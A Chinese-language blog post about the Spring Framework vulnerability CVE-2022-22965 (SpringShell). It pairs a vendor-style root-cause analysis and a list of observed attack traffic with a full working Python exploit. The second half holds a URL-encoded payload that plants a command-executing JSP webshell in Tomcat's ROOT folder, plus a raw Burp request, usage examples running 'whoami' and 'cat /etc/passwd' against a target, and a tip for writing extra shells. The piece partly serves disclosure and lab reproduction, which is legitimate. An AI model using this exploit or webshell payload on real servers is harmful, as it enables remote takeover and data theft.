目录导航
CVE-2022-22965漏洞描述
在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。具体的利用需要应用程序作为 WAR 部署在 Tomcat 上运行。如果应用程序被部署为 Spring Boot 可执行 jar,即默认值,则它不容易受到漏洞利用。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它。
受影响的软件和版本
现有的概念证明 (PoC) 在以下条件下工作:
- JDK 9 或更高版本
- Apache Tomcat 作为 Servlet 容器
- 打包为传统的 WAR(与 Spring Boot 可执行 jar 相比)
- spring-webmvc 或 spring-webflux 依赖项
- Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本
任何使用 Spring Beans 数据包 ( spring-beans-*.jar ) 并使用 Spring 参数绑定的Java 应用程序都可能受到此漏洞的影响。
Spring 框架的背景知识
Spring Framework 是一个开源的应用程序框架和 Java 平台的控制容器的反转。由于其强大的功能和易用性,它在行业中被各种程序和系统广泛使用。一些知名产品如 Spring Boot 和 Spring Cloud 都是使用 Spring Framework 开发的。
Spring Core(spring-core)是框架的核心,提供了控制反转和依赖注入等强大功能。它包含核心、bean、上下文和 Spring 表达式语言 (SpEL) 模块。
CVE-2022-22965 的根本原因分析
该漏洞是由于Spring框架的getCachedIntrospectionResults方法在绑定参数时错误的暴露了类对象造成的。
默认的 Spring 数据绑定机制允许开发人员将 HTTP 请求详细信息绑定到特定于应用程序的对象。例如,有一个简单的经典应用场景,开发者创建一个交易对象来捕获请求参数,如图 1 所示。

然后开发人员创建一个控制器来使用对象交易,如图 2 所示。

之后,开发人员通常会为交易控制器创建一个请求构建器,它允许 Web 用户远程访问交易对象,如图 3 所示。

当 web 用户访问交易对象属性时,Spring 框架实现中的绑定过程(bindRequestParameters)会调用getCachedIntrospectionResults方法来获取和设置缓存中的对象属性。但是,getCachedIntrospectionResults方法的返回对象包含一个类对象。这意味着 Web 用户可以通过简单地提交 URL 来远程获取类对象,如图 4 所示。

将类对象暴露给 Web 用户是非常危险的,并且会在很多方面导致 RCE。类加载器通常通过利用有效负载来动态加载一些敏感类以进行对象修改和代码执行。
利用类加载器的背景
获取 RCE 的一种简单方法是使用公开的类加载器来修改 Tomcat 日志配置,并在更改 Tomcat 日志配置后远程上传 JSP Web shell。图 5 显示了一个通过简单提交 URL 来更改 Tomcat 日志配置的示例。这是在公共 PoC 中针对 SpringShell 漏洞使用的利用方法。

2010 年初,CVE-2010-1622被分配给 Spring Framework 中的一个远程代码执行漏洞。该漏洞是由于对CachedIntrospectionResults()中提供的PropertyDescriptor缺乏适当的检查,从而允许利用class.classLoader修改系统类加载器的搜索路径并导致程序调用远程 Java 代码。对于这个漏洞,类加载器在利用中起着至关重要的作用。
在 Spring Framework 2.5.6.SEC02 版本中,该漏洞得到了修复。然而,虽然获取类加载器并利用它的原始方法不再有效,但 JDK 9 中引入了一个新特性,提供了另一种获取类加载器的方法,并使利用它再次成为可能。
图 6 中的代码片段显示了对 CVE-2010-1622 的修复。解决方法是使用阻止列表排除两种方法:Class.getClassLoader()和getProtectionDomain(),如图 6 中突出显示的那样。但是使用阻止列表存在被不在列表中的案例绕过的风险。Java 9 平台模块系统( JPMS ) 提供了一种绕过此阻止列表的方法。

在受损服务器上建立与远程服务器的反向 Shell 连接
新添加的模块属性可以修改日志配置,以便可以通过日志功能将 JSP webshell 写入 Web 主机文件夹,如图 7 所示。

图 8 显示了名为shell7.jsp的负载在 Tomcat ROOT 目录中放置了一个受密码保护的webshell 。

然后攻击者可以通过 JSP webshell 调用任何命令。图 9 显示了执行 Netcat 以在受感染服务器上为远程服务器建立反向 shell 的示例。

SpringShell漏洞利用
此远程代码执行漏洞的利用代码已公开。Unit 42 于 2022 年 3 月 30 日早些时候首次观察到扫描流量,向服务器发送 HTTP 请求,其中包含 URL 中的测试字符串。图 10 显示了早期扫描活动的示例。

在测试我们的威胁防护签名时,我们观察到了额外的扫描活动,其中包括 HTTP POST 请求的数据部分中的利用代码,如图 11 所示。

部署威胁防护签名后,我们分析了与“Spring Core 远程代码执行漏洞”签名相关的数据包捕获,发现大部分活动可能是由公开可用的 PoC 工具的变体生成的。我们的分析表明,如果成功利用,以下文件名会将 webshell 内容存储在服务器上:
0xd0m7.jsp
myshell.jsp
shell.jsp
tomcatwar.jsp
wpz.jsp
写入这些文件的 webshell 内容也与公开可用的 PoC 中包含的代码非常相似。webshell 有两种变体。一个包含在 PoC 中,并使用pwd参数进行身份验证(密码始终为j)和cmd参数用于执行命令。第二种变体不使用参数进行身份验证,而是使用id来执行命令。表 1 显示了保存到服务器的 webshell 将用于身份验证和命令的参数以及我们看到它们的次数。
网址参数 | 验证 | 命令 | 数数 |
&id=<命令> | ID | 337 | |
&pwd=j&cmd=<命令> | pwd | cmd | 219 |
表 1. 在“Spring Core Remote Code Execution Vulnerability”签名中看到的 webshell 使用的参数。
我们使用与 SpringShell 活动关联的文件名搜索我们的遥测活动到 webshell 的活动,除了shell.jsp 之外,这太笼统了。我们已经看到下面列出的独特命令提交到 webshell。其中,只有涉及/etc/passwd的两个命令可能表明恶意利用意图 – 其余命令表明一般扫描活动。
ls
nslookup%20[redacted].test6.ggdd[.]co[.]uk
nslookup+[redacted].test6.ggdd[.]co[.]uk
ping%20[redacted].test6.ggdd[.]co[ .]uk
ping+[redacted].test6.ggdd[.]co[.]uk
whoami
cat%20/etc/passwd
cat+/etc/passwd
id
ifconfig
ipconfig
ping%20[redacted].burpcollaborator[.]net
结论
SpringShell 的正式编号为 CVE-2022-22965,补丁于 2022 年 3 月 31 日发布。由于漏洞利用很简单,并且所有相关技术细节已经在互联网上传播开来,因此 SpringShell 完全武器化只是时间问题并被更大规模地滥用。强烈建议拥有基于 JDK9+ 和 Spring Framework(或其衍生产品)的项目或产品的开发人员和用户尽快修补。
虽然 CVE-2022-22963 是 Spring Cloud Function(技术上不是 SpringShell 的一部分)中的一个不同漏洞,但也可以使用威胁防护签名来确保覆盖范围。Unit 42 研究人员正在主动监控与其他最近披露的 Spring 漏洞相关的信息,一旦有更多信息可用,他们将继续提供覆盖。
Unit 42 正在通过我们的设备和云解决方案积极监控恶意流量。
Palo Alto Networks 产品安全保证团队正在评估与 Palo Alto Networks 产品相关的 CVE-2022-22963 和 CVE-2022-22965,目前将其严重性指定为无。
Palo Alto Networks 下一代防火墙与威胁防护订阅可以阻止与此漏洞相关的攻击流量。
- CVE-2022-22965 覆盖范围:威胁 ID 92393 和 92394(应用程序和威胁内容更新 8548)
- CVE-2022-22963 覆盖范围:威胁 ID 92389(应用程序和威胁内容更新 8548)
Palo Alto Networks Prisma Cloud 可以在所有计算环境中检测到 CVE-2022-22965 和 CVE-2022-22963 的存在。
Palo Alto Networks Cortex XDR Prevent 和 Pro 客户在 Linux 设备上运行代理版本 7.4 及更高版本,内容版本为 450-87751,使用 Java 反序列化模块可防止 CVE-2022-22963;其他操作系统和漏洞利用使用行为威胁保护、密码盗窃预防、反勒索软件和其他反漏洞利用模块来获得来自利用后活动的保护。Cortex XDR Pro 客户还可以了解开发后的活动。此外,客户可以从 XQL 查询中创建 BIOC,以查找已删除的 webshell IoC,以检测其环境中的利用尝试。
CVE-2022-22965 exp代码
GitHub:https://github.com/Axx8/SpringFramework_CVE-2022-22965_RCE
SpringFramework_CVE-2022-22965_RCE.py :
import requests
import sys
prox = {
'http':'http://192.168.1.117:8080'
}
head = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '762',
}
data = 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22S%22.equals(request.getParameter(%22Tomcat%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
def exec():
try:
requests.packages.urllib3.disable_warnings()
requests.post(url,headers=head,data=data,verify=False)
urls = requests.get(url+'/Shell.jsp',headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0'},verify=False)
#print(urls.url)
if urls.status_code == 200:
b = requests.get(url+'/Shell.jsp?Tomcat=S&cmd='+ Cmd,headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0'},verify=False).text
print(b[0:1000])
except requests.exceptions.ConnectionError as e:
print(e)
if __name__ == '__main__':
try:
url = sys.argv[1]
Cmd = sys.argv[2]
exec()
except Exception:
print("CVE-2022-22965.py http://127.0.0.1:8090 whoami ")
漏洞复现环境
docker pull vulfocus/spring-core-rce-2022-03-29
docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
利用脚本使用示例

python CVE-2022-22965.py http://target.com:8090 whoami

python CVE-2022-22965.py http://target.com:8090 "cat /etc/passwd"
使用burpsuite验证漏洞:
POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 761
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22S%22.equals(request.getParameter(%22Tomcat%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问Shell地址
http://target.com:8090/Shell.jsp?Tomcat=S&cmd=whoami
注意事项:
fileDateFormat=后面换不同的字符可以写入多个shell文件
转载请注明出处及链接